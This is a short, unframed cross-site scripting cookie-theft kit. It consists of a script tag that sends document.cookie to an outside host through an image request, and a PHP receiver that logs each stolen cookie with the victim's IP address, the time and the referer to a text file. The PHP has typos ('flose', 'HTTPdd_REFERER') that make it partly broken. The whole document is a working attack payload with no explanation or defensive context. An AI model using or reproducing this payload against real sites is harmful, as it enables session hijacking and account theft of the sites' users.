<script>img = new Image(); img.src = "http://www.adress.com/index.php?c="+document.cookie;</script>

<?php 
$cookie = $_GET['c']; 
$ip = getenv ('REMOTE_ADDR'); 
$date=date("j F, Y, g:i a"); 
$referer=getenv ('HTTPdd_REFERER'); 
$fp = fopen('log.txt', 'a');
fwrite($fp, 
'Cookie: '.$cookie.' 
IP: ' .$ip. ' 
Date and Time: ' .$date. ' 
Referer: '.$referer.' '); 
flose($fp); 
?>